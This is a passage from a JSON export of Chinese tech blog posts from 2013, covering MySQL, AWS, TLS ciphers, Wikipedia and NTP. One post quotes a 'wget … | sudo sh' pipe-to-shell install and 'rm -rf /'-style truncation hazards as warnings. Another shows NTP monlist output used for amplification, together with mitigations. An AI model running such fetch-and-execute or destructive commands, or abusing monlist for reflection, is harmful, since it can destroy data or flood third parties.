    "body": "有陣子沒看到 <a href=\"https://www.wikipedia.org/\">Wikipedia</a> 出現 <a href=\"http://www.squid-cache.org/\">Squid</a> 發生錯誤的畫面了，記錄一下：\r\n\r\n<a href=\"//i.imgur.com/cO2uKAw.png\"><img src=\"//i.imgur.com/cO2uKAwl.png\" alt=\"\" /></a>",
    "title": "有陣子沒看到 Wikipedia 出問題了..."
  },
  {
    "id": "3832",
    "body": "「<a href=\"http://blog.existentialize.com/dont-pipe-to-your-shell.html\">Don't Pipe to your Shell</a>」這篇文章給了一些有趣的例子。\r\n\r\n很多工具都提供 pipe to shell 的方式安裝，像是這樣的形式：\r\n\r\n<blockquote><code>wget -O - http://example.com/install.sh | sudo sh</code></blockquote>\r\n\r\n先不管「應該用 HTTPS 以確保內容不會被改」的問題，如果 <a href=\"http://www.gnu.org/software/wget/\">wget</a> 傳到一半斷掉會發生什麼事情呢？像是作者給的例子：\r\n\r\n<blockquote><pre>TMP=/tmp\r\nTMP_DIR=`mktemp`\r\nrm -rf $TMP_DIR</pre></blockquote>\r\n\r\n如果傳到最後一行的 <code>rm -rf $TMP</code> 就斷掉 (後面的 <code>_DIR</code> 斷掉) 會發生什麼事情呢？XDDD\r\n\r\n如果 shell 是這樣寫呢：\r\n\r\n<blockquote><pre>rm -rf /tmp/$TMP_DIR</pre></blockquote>\r\n\r\n然後傳到 <code>rm -rf /</code> 就斷線... XD\r\n\r\n所以還是先抓下來再執行吧，可以避免意外發生 :p",
    "title": "避免直接 pipe 進 shell..."
  },
  {
    "id": "3835",
    "body": "出自 <a href=\"http://www.lessig.org/\">Lawrence Lessig</a> 的 blog：「<a href=\"http://lessig.tumblr.com/post/65338904338/wow-or-from-the-when-apple-became-the-borg-department\">Wow, or from the When-Apple-Became-the-Borg Department</a>」。\r\n\r\nLawrence Lessig「這位 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 用戶」在升級到 iOS 7.0.3 之後發生了 WiFi 問題，然後跑到蘋果的論壇上翻，發現很多人也愈到了同樣的問題...\r\n<ul>\r\n\t<li>其中用戶 LouLou71 發了一篇新文章，提到他的之前的文章被砍。</li>\r\n\t<li>而 Lawrence Lessig 則在同一篇文章下詢問蘋果是否在監控論壇內容。</li>\r\n\t<li>過一陣子，Lawrence Lessig 發現 LouLou71 的新文章又被砍。</li>\r\n\t<li>所以 Lawrence Lessig 又再 post LouLou71 的文章內容。</li>\r\n\t<li>然後「這位 iPhone 用戶」的文章被蘋果砍掉，並寄信警告告知論壇的違反使用條款。</li>\r\n</ul>\r\n然後 Lawrence Lessig 跑到自己的 blog 上發表... 就演變成 PR 事件了 XDDD (不過蘋果好像沒在怕的...)\r\n\r\n維基百科的連結：「<a href=\"https://zh.wikipedia.org/wiki/%E5%8B%9E%E5%80%AB%E6%96%AF%C2%B7%E9%9B%B7%E5%B8%AD%E6%A0%BC\">勞倫斯·雷席格</a>」、「<a href=\"https://en.wikipedia.org/wiki/Lawrence_Lessig\">Lawrence Lessig</a>」，現任<a href=\"http://www.law.harvard.edu/\">哈佛法學院</a>教授，另外也是 <a href=\"http://creativecommons.org/\">Creative Commons</a> 創辦人。\r\n\r\n<img src=\"//i.imgur.com/hvkPK6W.gif\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/d0tJ0JV.jpg\" alt=\"\" />\r\n\r\n拿使用條款砍他文章，hmmm...",
    "title": "蘋果砍了 Lawrence Lessig 的貼文..."
  },
  {
    "id": "3837",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 寫了一篇文章，說明在 <a href=\"http://dev.mysql.com/\">MySQL</a> core dump 後，要如何從 core file 撈出當時有哪些 query 在跑：「<a href=\"http://www.mysqlperformanceblog.com/2013/11/11/how-to-extract-all-running-queries-including-the-last-executed-statement-from-a-core-file/\">How to Extract All Running Queries (Including the Last Executed Statement) from a Core File?</a>」。\r\n\r\n一年前 Percona 的人也有寫一篇「<a href=\"http://www.mysqlperformanceblog.com/2012/09/09/obtain-last-executed-statement-from-optimized-core-dump/\">How to obtain the “LES” (Last Executed Statement) from an Optimized Core Dump?</a>」，今年這篇則是改良版，可以看到操作的方式便簡單了...\r\n\r\n雖然大家都不喜歡 MySQL crash，但知道爆炸當時有哪些 query 對於後續的分析有很大的幫助，先紀錄起來，如果真的不幸用到，會比較快找到資料...",
    "title": "從爆炸的遺跡尋找蛛絲馬跡：在 MySQL crash 後，從 core file 找出當時有哪些 query 在執行"
  },
  {
    "id": "3839",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 Feedly 強迫使用者使用 <a href=\"https://plus.google.com/\">Google+</a> 帳號登入：「<a href=\"http://yro.slashdot.org/story/13/11/08/2325246/feedly-forces-its-users-to-create-google-profiles\">Feedly Forces Its Users To Create Google+ Profiles</a>」，官方的公告在「<a href=\"http://blog.feedly.com/2013/11/07/google-authentication/\">Google+ Authentication</a>」這裡。\r\n\r\n然後就瞬間被幹爆... 現在官方公告的標題是「Google+ Authentication [Rolled back!]」，已經先 rollback 回來了。接二連三的幹蠢事，過陣子應該還是會再發生蠢事吧...",
    "title": "Feedly 強迫使用者改用 Google+ 帳號登入..."
  },
  {
    "id": "3841",
    "body": "在「<a href=\"http://hardware.slashdot.org/story/13/11/07/1612229/internet-archives-san-francisco-home-badly-damaged-by-fire\">Internet Archive's San Francisco Home Badly Damaged By Fire</a>」看到 <a href=\"https://archive.org/\">Internet Archive</a> 發生火災，官方也有公告出來了：「<a href=\"https://blog.archive.org/2013/11/06/scanning-center-fire-please-help-rebuild/\">Fire Update: Lost Many Cameras, 20 Boxes, and No People</a>」。\r\n\r\n<img src=\"//i.imgur.com/ct5TlbK.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/A0xVwE1.jpg\" alt=\"\" />\r\n\r\n沒有人受傷，服務也都正常。發生火災的地點並不是辦公室，而是掃描中心 (scanning center)，依照敘述，應該是將類比資料 (紙本、相簿之類的) 掃成電子格式的場所。",
    "title": "Internet Archive 建築物發生火災..."
  },
  {
    "id": "3844",
    "body": "在 Hacker News 上看到的舊文章，在「<a href=\"http://omnicognate.wordpress.com/2013/01/07/in-css-px-is-not-an-angular-measurement-and-it-is-not-non-linear/\">IN CSS, “PX” IS NOT AN ANGULAR MEASUREMENT AND IT IS NOT NON-LINEAR</a>」這篇文章裡面，標題就直接提到「pixel 並非生而平等」...\r\n\r\n文章裡的 pixel 的定義是：\r\n<blockquote>a pixel is defined as the smallest object that can be displayed on a device</blockquote>\r\n\r\n但我找不到這句話的出處...\r\n\r\n到是 <a href=\"http://www.w3.org/TR/CSS2/css2.pdf\">CSS 2.1 的 PDF</a> 裡可以看到 px 的定義是：\r\n<blockquote>px: pixel units — 1px is equal to 0.75pt.</blockquote>\r\n以及 pt 的定義：\r\n<blockquote>pt: points — the points used by CSS are equal to 1/72nd of 1in.</blockquote>\r\n而連 in 都有定義：\r\n<blockquote>in: inches — 1in is equal to 2.54cm.</blockquote>\r\n然後 cm 這個縮寫定義到公制：\r\n<blockquote>cm: centimeters</blockquote>\r\n\r\n看起來不像是有問題啊？另外是還有對 reference pixel 的定義，看起來也很明確啊：\r\n<blockquote>The reference pixel is the visual angle of one pixel on a device with a pixel density of 96dpi and a distance from the reader of an arm’s length. For a nominal arm’s length of 28 inches, the visual angle is therefore about 0.0213 degrees. For reading at arm’s length, 1px thus corresponds to about 0.26 mm (1/96 inch).</blockquote>\r\n\r\n暫時不考慮這個問題... 有機會再回頭來看好了 @_@",
    "title": "CSS 裡，px 的定義並沒有保證線性...？"
  },
  {
    "id": "3847",
    "body": "先講結論，不要用，甚至連 <a href=\"http://copper.io/\">copper</a> 這家公司的產品都應該避開。\r\n\r\n看到「<a href=\"http://blog.copper.io/stackdock-blazing-fast-docker-as-a-service-with-ssds-for-5/\">Stackdock: Blazing Fast Docker-as-a-Service with SSDs – for $5</a>」這篇文章，提到用 <a href=\"http://www.docker.io/\">Docker</a> 建立的服務。\r\n\r\n首先是註冊流程就很有問題，註冊完後他要你收信登入 (這邊沒什麼問題)，結果收信後發現他的連結是：\r\n<blockquote><code>https://stackdock.com/login?email=my_account@gmail.com</code></blockquote>\r\n\r\n意思就是根本不用認證... (暈倒)\r\n\r\n當你想看使用條款，回到官網 <a href=\"https://stackdock.com/\">https://stackdock.com/</a> 上發現沒有使用條款？另外在母站 <a href=\"http://copper.io/\">http://copper.io/</a> 也沒有？\r\n\r\n再來收費方式也不清楚，只說了 USD$5/month，但如果以 Docker 的性質，開一次就收 USD$5，那麼就太鳥蛋了。但也沒有講是按照「小時」收費，還是按照「日」收費...\r\n\r\n登入後 UI 動線上卡卡的 (速度也不太快，不過應該跟放在德國有關)，如果你建立 Deck 時 (像是樣板) 沒有開 Instance，你是沒辦法用儲存好的 Deck 開 Instance 的... (會 failed，然後只有一個「read timeout reached」的錯誤訊息...)\r\n\r\n你只有在建立時選擇「Save &amp; Distill Drop」才有機會建立起來 (不過還是有可能會失敗)。\r\n\r\n如果想要改密碼而點選上方的 Profile 時，發現被導到 sso.copper.io，而 sso.copper.io 是沒有 HTTPS 的，而且修改密碼時不需要輸入原密碼？(那你本站用 HTTPS 幹嘛啊？更該保護的不保護是怎樣？)\r\n\r\n然後在 sso.copper.io 按下 logout 要二十秒... 然後出現白頁... -_-\r\n\r\n最後，在測完後，我找不到地方 cancel 信用卡...\r\n\r\n這家公司有滿滿的問題...",
    "title": "提供 Docker 服務的 Stackdock... (不要用！)"
  },
  {
    "id": "3849",
    "body": "在「<a href=\"https://coderwall.com/p/duapqq\">Use a Google Spreadsheet as your JSON backend</a>」這篇看到的，整篇的重點是這個 url：\r\n<blockquote><code>https://spreadsheets.google.com/feeds/list/PUT-KEY-HERE/od6/public/values?alt=json</code></blockquote>\r\n中間的 <code>PUT-KEY-HERE</code> 是文件的 key。當然，文件本身要公開發佈出去才能夠過 JSON 取得資料。\r\n\r\n另外原文章裡面也有提供 JSONP 的方式可以使用，還蠻有趣的方式...",
    "title": "拿 Google Spreadsheet 當作 JSON backend..."
  },
  {
    "id": "3852",
    "body": "剛剛看到 <a href=\"http://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"http://aws.amazon.com/iam/\">AWS IAM</a> 支援 <a href=\"https://en.wikipedia.org/wiki/SAML_2.0\">SAML 2.0</a>：「<a href=\"http://aws.typepad.com/aws/2013/11/aws-identity-and-access-management-using-saml.html\">AWS Identity and Access Management Using SAML</a>」。\r\n\r\nSAML 是 Single Sign-On 協定的一種，2001 年就推出來了，不過其中用到的架構頗為複雜，由於是 XML 交換技術，再加上要在 XML 上面簽名 (<a href=\"http://www.w3.org/Signature/\">XML Signature</a>)，其實我不是很喜歡這東西... @_@\r\n\r\n當初會硬要接觸是因為 <a href=\"https://www.google.com/apps\">Google Apps</a> 的 SSO 是使用 SAML，真是懷念啊...\r\n\r\n<img src=\"//i.imgur.com/wMr49Rc.png\" alt=\"\" />\r\n\r\n由於是個公開標準，有不少企業 SSO 方案都有支援 SAML。而 AWS IAM 支援 SAML 就相當於讓控管的部份整合起來了... 我好像也應該來弄弄了？",
    "title": "AWS IAM 支援 SAML 2.0"
  },
  {
    "id": "3854",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 的官方公告出來了：「<a href=\"http://aws.typepad.com/aws/2013/11/amazon-rds-for-postgresql-now-available.html\">Amazon RDS for PostgreSQL - Now Available</a>」。\r\n\r\n<img src=\"//i.imgur.com/jWkF3rl.png\" alt=\"\" />\r\n\r\n而且 AWS 上 <a href=\"http://dev.mysql.com/\">MySQL</a> 有的 feature，<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 都有：\r\n<ul>\r\n\t<li>Multi-AZ Deployments</li>\r\n\t<li>Provisioned IOPS</li>\r\n\t<li>Virtual Private Cloud</li>\r\n\t<li>Automated Backups</li>\r\n\t<li>Point-in-time Recovery</li>\r\n\t<li>Cross-Region Snapshot Copy</li>\r\n</ul>\r\n而且是 PostgreSQL 9.3 (雖然是 9.3.0)，如果本來自己用 EC2 搞 PostgreSQL 的都可以切過去了 :p",
    "title": "Amazon RDS 支援 PostgreSQL 了..."
  },
  {
    "id": "3856",
    "body": "<a href=\"http://www.microsoft.com/\">微軟</a>公告將在 2016 年拒絕只有 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的 SSL Certificate：「<a href=\"http://blogs.technet.com/b/srd/archive/2013/11/12/security-advisory-2880823-recommendation-to-discontinue-use-of-sha-1.aspx\">Security Advisory 2880823: Recommendation to discontinue use of SHA-1</a>」。微軟的力量主要是對 IE 瀏覽器的控制。\r\n\r\n可以看到文章裡把 <a href=\"https://en.wikipedia.org/wiki/MD5\">MD5</a> 的歷史也拿出來比較，然後對照到 SHA-1，所以宣佈 2016 年後就不吃只有 SHA-1 的 SSL Certificate\r\n\r\n比較新的簽章都包含了比較強的 cryptographic hash algorithm，像是 SHA-256 的：\r\n\r\n<img src=\"//i.imgur.com/BaTtRr6.png\" alt=\"\" />\r\n\r\n現在差不多 2013 年年底，所以大約還有兩年的時間...",
    "title": "微軟將在 2016 年會拒絕 SHA-1 的 SSL 安全憑證..."
  },
  {
    "id": "3858",
    "body": "<a href=\"http://googleonlinesecurity.blogspot.com/\">Google Online Security Blog</a> 上對四種 cipher 的分析：「<a href=\"http://googleonlinesecurity.blogspot.com/2013/11/a-roster-of-tls-cipher-suites-weaknesses.html\">A roster of TLS cipher suites weaknesses</a>」。\r\n\r\n分別是 <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a>、AES-CBC、AES-GCM、<a href=\"http://tools.ietf.org/html/draft-agl-tls-chacha20poly1305-03\">ChaCha20-Poly1305</a> 四個 cipher。其中 RC4 與 AES-CBC 的問題都很多，而 AES-GCM 與 ChaCha20-Poly1305 是目前還沒有有效攻擊的 cipher。\r\n\r\n前面三個都算熟悉，第四個是到是頗意外會出現... 不過 ChaCha20-Poly1305 不只一家打算跳下去實做了：\r\n<ul>\r\n\t<li>Chromium：<a href=\"https://code.google.com/p/chromium/issues/detail?id=310768\">Issue 310768: Support ChaCha20+Poly1305 TLS cipher suites</a></li>\r\n\t<li>NSS (Mozilla)：<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=917571\">Bug 917571 - Support ChaCha20+Poly1305 cipher suites</a></li>\r\n</ul>\r\nChaCha20 與 Poly1305 都是 <a href=\"http://cr.yp.to/djb.html\">D. J. Bernstein</a> (djb) 的作品，不知道 OpenSSL 會不會納進去...\r\n\r\n在「<a href=\"https://www.imperialviolet.org/2013/10/07/chacha20.html\">ChaCha20 and Poly1305 for TLS</a>」這邊有些為什麼有了 AES-GCM 後還要用 ChaCha20-Poly1305 的原因，主要是速度考量。兩者的速度差非常多...",
    "title": "Google 對四個 Cipher 的分析... (以及 ChaCha20-Poly1305)"
  },
  {
    "id": "3862",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 利用 <a href=\"https://www.google.com/\">Google</a> 所發展的 <a href=\"https://code.google.com/p/leveldb/\">LevelDB</a> 開發了 <a href=\"http://rocksdb.org/\">RocksDB</a>，跟 LevelDB 相同，仍然是 persistent key-value store，重點在於能夠使用多個 CPU 增加效能的能力：\r\n\r\n<blockquote>RocksDB builds on LevelDB to be scalable to run on servers with many CPU cores, to efficiently use fast storage, to support IO-bound, in-memory and write-once workloads, and to be flexible to allow for innovation.</blockquote>\r\n\r\n在 <a href=\"https://github.com/facebook/rocksdb/wiki/Performance-Benchmarks\">Performance Benchmarks</a> 這邊可以看到效能的數據，主要都是跟 LevelDB 比較。比較的時候不只是寫了快了多少，而是包含原理都有寫出來。\r\n\r\nsource code 在 <a href=\"https://github.com/\">GitHub</a> 上可以翻到：<a href=\"https://github.com/facebook/rocksdb\">facebook/rocksdb</a>，除了 source code 外，還發現裡面有 <a href=\"https://github.com/facebook/rocksdb/blob/master/PATENTS\">PATENTS</a> 這個檔案，裡面針對專利的部份給予豁免... 好像很少看到？",
    "title": "Facebook 發展的 RocksDB..."
  },
  {
    "id": "3868",
    "body": "因為最近幾天是 <a href=\"http://reinvent.awsevents.com/\">re:Invent</a>，所以 AWS 在這個期間會丟出很多新玩意。\r\n\r\n這次推出的是 <a href=\"http://aws.amazon.com/cloudtrail/\">AWS CloudTrail</a>，會將 API call 記錄起來存到 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a> 或是透過 <a href=\"http://aws.amazon.com/sns/\">Amazon SNS</a> 發出，於是你就可以利用這些資料分析出各種想要撈出的資訊：「<a href=\"http://aws.typepad.com/aws/2013/11/aws-cloudtrail-capture-aws-api-activity.html\">AWS CloudTrail - Capture AWS API Activity</a>」。\r\n\r\n<img src=\"//i.imgur.com/45g8U2t.png\" alt=\"\" />\r\n\r\n目前只支援北美的 US East (Northern Virginia) 以及 US West (Oregon)，也就是 us-east-1 與 us-west-1。",
    "title": "Amazon 推出 AWS CloudTrail，可以稽核 API 使用量..."
  },
  {
    "id": "3871",
    "body": "不知道是只有數分 (數據通訊分公司) 有問題，還是其他的也有問題：\r\n\r\n這是對 Berkeley 的 128.32.136.3 的 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料：\r\n\r\n<img src=\"//i.imgur.com/ZcfXsPN.png\" alt=\"\" />\r\n\r\n這是對 code.jquery.com 的 SmokePing 資料：\r\n\r\n<img src=\"//i.imgur.com/5GNJ8tL.png\" alt=\"\" />\r\n\r\n可以看出來有些狀況，不過目前看起來正常了 (應該是陸陸續續在調整)，但在「<a href=\"http://www.hinet.net/notify.html?type=0\">HiNet網站公告</a>」還沒看到原因...",
    "title": "中華電信的美國線路出問題..."
  },
  {
    "id": "3874",
    "body": "讓我意外的是，只有 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 10.0-BETA (還沒出 RELEASE 的版本) 有問題，9.2-RELEASE 並不在內：「<a href=\"http://www.freebsd.org/security/advisories/FreeBSD-SA-13:14.openssh.asc\">OpenSSH AES-GCM memory corruption vulnerability</a>」。\r\n\r\n本來 9.2 的機器有上 workaround 把 AES-GCM 強制拔掉，看起來可以 revert 回來了...",
    "title": "FreeBSD 對 OpenSSH 的安全性更新..."
  },
  {
    "id": "3876",
    "body": "之前寫過一篇「<a href=\"http://blog.gslin.org/archives/2013/02/08/3186/\">熱 MySQL 的方法...</a>」，主要是利用 InnoDB 在 <code>SELECT COUNT(*)</code> 時會掃過一次 primary key 來熱：\r\n\r\n<code>pt-find --charset=utf8 --print -h $1 -u USER -p PASSWORD | xargs -t -P8 -I% -n1 sh -c \"echo 'SELECT COUNT(*) FROM %;' | mysql -h $1 > /dev/null\"</code>\r\n\r\n但想要熱整個表格時 (data 部份)，這個方法就不夠力了，今天才想到可以這樣做：\r\n\r\n<code>SELECT COUNT(*) FROM (SELECT * FROM table_name) t;</code>\r\n\r\n這方法會把整個表格資料拉出來，但又不會造成大量的網路 i/o (以及洗畫面)。實際測過後發現效果還不錯... (對於 table scan 使用量很大的表格，靠這個把整個表個塞進 InnoDB buffer)",
    "title": "熱 MySQL InnoDB 的方式..."
  },
  {
    "id": "3878",
    "body": "<a href=\"https://www.wikipedia.org/\">維基百科</a>對於針對維基百科條目「美化」的公關公司反擊了：「<a href=\"https://blog.wikimedia.org/2013/11/19/wikimedia-foundation-sends-cease-and-desist-letter-to-wikipr/\">Wikimedia Foundation sends cease and desist letter to WikiPR</a>」，PDF 可以在「<a href=\"https://upload.wikimedia.org/wikipedia/foundation/6/6b/2013-11-19_C%26D_letter_to_WikiPR_from_Cooley.pdf\">2013-11-19_C&amp;D_letter_to_WikiPR_from_Cooley.pdf</a>」取得。\r\n\r\n主要是以使用者條款作為依據，要求對方禁止對維基百科上的文章「美化」(像是移除負面的事實)，不過看起來這種事情只會轉入地下，不會消失... :p",
    "title": "維基百科開始對公關公司反擊了..."
  },
  {
    "id": "3881",
    "body": "在同事的 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到 <a href=\"http://www.nicovideo.jp/\">niconico 動畫</a> 將連到 NTT Com 的線路從多條 10Gbps 升級到 100Gbps 了：「<a href=\"http://news.nicovideo.jp/watch/nw845026\">niconico のドワンゴに NTT Com が 100Gbps イーサネットサービスを開始</a>」。\r\n\r\n<img src=\"//i.imgur.com/qTLx5d6.jpg\" alt=\"\" />\r\n\r\n影音網站的頻寬用量跟其他網站不太能比 :p",
    "title": "niconico 動畫對 NTT Com 的 100Gbps..."
  },
  {
    "id": "3885",
    "body": "在 <a href=\"http://www.percona.com/\">Percona</a> 的 blog 上看到 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 出 5.6 版 (測試版) 了：「<a href=\"http://www.mysqlperformanceblog.com/2013/11/21/percona-xtradb-cluster-5-6-14-25-1-beta-now-available/\">Percona XtraDB Cluster 5.6.14-25.1 Beta is now available</a>」。\r\n\r\n也就是 <a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a> 在 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 上的版本...\r\n\r\n在 5.6 上有的功能都會有，也就是說，InnoDB 的 memcache interface，以及 FULLTEXT 功能都可以用？\r\n\r\n另外在 comment 也有討論到要如何從 PXC 5.5 升級到 5.6 (不產生 downtime)，看起來也是噓要花時間 PoC 過後才能確認... 就算正式釋出，應該還是會觀望看看。",
    "title": "Percona XtraDB Cluster (PXC) 開始測試 5.6 版了..."
  },
  {
    "id": "3888",
    "body": "<a href=\"https://www.wikimedia.org/\">維基百科</a>宣佈提供 OAuth 服務：「<a href=\"https://blog.wikimedia.org/2013/11/22/oauth-on-wikimedia-wikis/\">OAuth now available on Wikimedia wikis</a>」。\r\n\r\n不過看起來是用 OAuth 1.0a (依照「<a href=\"https://www.mediawiki.org/wiki/Extension:OAuth\">Extension:OAuth</a>」的說明)，而非現在流行的 OAuth 2.0... 算是起個頭？",
    "title": "維基百科的 OAuth..."
  },
  {
    "id": "3890",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 宣佈他們的 HTTPS 連線要上 PFS (<a href=\"https://en.wikipedia.org/wiki/Forward_secrecy\">Perfect Forward Secrecy</a>) 了：「<a href=\"https://blog.twitter.com/2013/forward-secrecy-at-twitter-0\">Forward Secrecy at Twitter</a>」。\r\n\r\n回頭查了 <a href=\"http://www.f5.com/\">F5</a> 要到哪個版本才支援 PFS，看起來要 11.2.1 之後的版本有支援... (出自「<a href=\"http://support.f5.com/kb/en-us/products/big-ip_ltm/releasenotes/product/relnote-ltm-11-3-0.html\">BIG-IP LTM and TMOS 11.3.0</a>」這份文)\r\n\r\n目前有一組已經是 11.2.1 之後的版本，這樣看起來好像也可以開看看？",
    "title": "Twitter 也要上 PFS 了..."
  },
  {
    "id": "3892",
    "body": "<strong>Update</strong>：2016 年的架構可以在「<a href=\"https://blog.gslin.org/archives/2016/02/18/6318/stack-overflow-%E5%85%AC%E9%96%8B-2016-%E7%9A%84%E6%9E%B6%E6%A7%8B/\">Stack Overflow 公開 2016 的架構</a>」這邊看到。\r\n\r\n<a href=\"http://stackoverflow.com/\">Stack Overflow</a> 的 <a href=\"http://nickcraver.com/\">Nick Craver</a> 貼出目前 Stack Overflow 的現況：「<a href=\"http://nickcraver.com/blog/2013/11/22/what-it-takes-to-run-stack-overflow/\">What it takes to run Stack Overflow</a>」。\r\n\r\n公開出來的資料不包括 CDN 的部份，可以看出整個架構很精簡啊... 然後還貼出機房照片：\r\n\r\n<img src=\"//i.imgur.com/klCoQnE.jpg\" alt=\"\" />\r\n\r\n可以看出很多機器都很大台，尤其是 RAM 的部份。而資料庫主機則是 384GB RAM + 1.8TB SSD...\r\n\r\n資料庫的讀寫比是 40% read + 60% write，應該是 cache 擋下非常大的讀取量？\r\n\r\n然後有一句粗體字：\r\n<blockquote>The cost of inefficient code can be higher than you think.</blockquote>\r\n這句話... XD",
    "title": "Stack Overflow 的現況..."
  },
  {
    "id": "3894",
    "body": "<a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 5.6 用的是 <a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a> 3.x 的 patch，所以 <a href=\"http://www.percona.com/\">Percona</a> 的人寫了一篇介紹 3.x 有哪些設定：「<a href=\"http://www.mysqlperformanceblog.com/2013/11/22/new-wsrep_provider_options-galera-3-x-percona-xtradb-cluster-5-6/\">New wsrep_provider_options in Galera 3.x and Percona XtraDB Cluster 5.6</a>」。\r\n\r\n看起來來比較有影響的是 <code>gmcast.segment=0</code>，用在跨機房之間的判斷。\r\n\r\n看起來應該是同一個機房要設一樣的 <code>gmcast.segment</code>。這個值會用在兩個地方：第一個是跨 segment 的 replication 流量會試著盡可能小。第二個是同步時的 Donor 會優先選擇同機房的節點。\r\n\r\n其他的用預設值應該就 okay...",
    "title": "Galera Cluster 3.x 的設定..."
  },
  {
    "id": "3897",
    "body": "出自 <a href=\"http://www.jaceju.net/blog/\">jaceju</a> 在 <a href=\"https://www.facebook.com/\">Facebook</a> 上貼的「<a href=\"https://www.facebook.com/photo.php?fbid=561189747296056&amp;set=a.107259196022449.15587.100002151068139&amp;type=1\">差點以為走錯</a>」：\r\n\r\n<img src=\"//i.imgur.com/ZyKNB5K.jpg\" alt=\"\" />\r\n\r\n超靠腰 XDDD\r\n\r\n不愧是 <a href=\"http://2013.jsconf.asia/\">JSConf.Asia 2013</a>... XDDD",
    "title": "不愧是技術性的 Conference..."
  },
  {
    "id": "3899",
    "body": "<a href=\"http://aws.amazon.com/rds/\">Amazon RDS</a> 將提供跨區的 <a href=\"http://dev.mysql.com/\">MySQL</a> read replication。看起來是針對 5.6+ 的版本提供這個功能...\r\n\r\n有兩篇官方文章，一篇是 CTO 發了一篇「<a href=\"http://www.allthingsdistributed.com/2013/11/rds-cross-region-replicas.html\">Expanding the Cloud: Enabling Globally Distributed Applications and Diaster Recovery</a>」，另外一篇是官方網誌上的「<a href=\"http://aws.typepad.com/aws/2013/11/cross-region-read-replicas-for-amazon-rds-for-mysql.html\">Cross-Region Read Replicas for Amazon RDS for MySQL</a>」。\r\n\r\n用圖表示比較容易懂：\r\n\r\n<img src=\"//i.imgur.com/p2bxZcI.png\" alt=\"\" />\r\n\r\n在 US-East 建立 MySQL master，另外在 EU 與 Tokyo 建立 slave replication。不知道中間的 traffic 有沒有過 IPSec 或是 SSL？",
    "title": "AWS 提供跨區的 MySQL Read Replica..."
  },
  {
    "id": "3901",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到 HTML5 的 <code>meter</code> 元素：「<a href=\"http://css-tricks.com/html5-meter-element/\">The HTML5 meter Element</a>」，這個元素的 spec 在「<a href=\"http://dev.w3.org/html5/spec-preview/the-meter-element.html\">4.10.17 The meter element</a>」。\r\n\r\n用來表示比率的元素，像是 progress bar，或是使用率...\r\n\r\n這是直接用你的瀏覽器 render <code>&lt;meter min=\"0\" max=\"100\" value=\"50\"&gt;&lt;/meter&gt;</code> 的結果：\r\n\r\n<meter min=\"0\" max=\"100\" value=\"50\"></meter>\r\n\r\n這是示意圖 (有點大 XD)：\r\n\r\n<img src=\"//i.imgur.com/3bhG0mL.png\" alt=\"\" />\r\n\r\n依照 <a href=\"http://caniuse.com/\">caniuse.com</a> 上的說明，比較新的桌面瀏覽器都支援了：「<a href=\"http://caniuse.com/#feat=progressmeter\">Progress &amp; Meter</a>」。\r\n\r\n以往應該都是自己用 <code>div</code> 處理，現在看起來可以用這個元素，再用 JavaScript 對 IE 處理了？",
    "title": "HTML5 的 meter 元素..."
  },
  {
    "id": "3904",
    "body": "在 <a href=\"http://www.zite.com/\">Zite</a> 上看到「<a href=\"http://www.webperformancetoday.com/2013/11/26/web-page-growth-151-percent/\">The average web page has grown 151% in just three years</a>」，對網頁大小提出三點分析...\r\n\r\n<img src=\"//i.imgur.com/rp7BTpN.png\" alt=\"\" />\r\n\r\n直接列出這三點：\r\n<ul>\r\n\t<li>The average top 1,000 web page is 1575 KB.</li>\r\n\t<li>More than half of this size is due to images.</li>\r\n\t<li>Flash is on the decrease. Custom fonts are on the increase.</li>\r\n</ul>\r\n\r\n前面兩點其實不意外，網頁大小不斷成長、圖片是流量的大宗。但第三點比較有趣，使用自訂字型的網頁急速成長...\r\n\r\n<img src=\"//i.imgur.com/6mq1jNt.png\" alt=\"\" />\r\n\r\n快超越 Flash 的使用率了？",
    "title": "網頁大小的分析..."
  },
  {
    "id": "3906",
    "body": "一樣是在 <a href=\"http://www.zite.com/\">Zite</a> 上看到的，有人提到對 NTP server 的放大攻擊：「<a href=\"http://newsgroups.derkeiler.com/Archive/Comp/comp.protocols.time.ntp/2013-11/msg00153.html\">Re: Public ntp-server and reflection-attacks</a>」。\r\n\r\n攻擊者送一個封包，就會產生約 100 個封包的回應... (於是就被放大了)\r\n\r\n<blockquote>This means, the attacker sends _one_ packet and gets _100_ packets to his target.</blockquote>\r\n\r\n像是這樣的指令就會傳回很多資訊：(剛好也學到 ntpdc 這個指令...)\r\n\r\n<pre>gslin@colo-p [~] [04:18/W4] ntpdc -c monlist\r\nremote address          port local address      count m ver code avgint  lstint\r\n===============================================================================\r\nlocalhost              36284 ::1               443425 7 2      0     27       0\r\nsun.stu.edu.tw           123 112.121.80.241      7891 4 4      0   1027     197\r\nclock.stdtime.gov.tw     123 112.121.80.241      7821 4 4      0   1024     838\r\n59-124-196-84.HINET-IP   123 112.121.80.241      7856 4 4      0   1024     920</pre>\r\n\r\n在信件裡，建議的修正方式是：\r\n\r\n<pre>restrict default noquery nomodify notrap nopeer\r\nrestrict -6 default noquery nomodify notrap nopeer</pre>",
    "title": "NTP server 放大攻擊的防治..."
  },
  {
    "id": "3908",
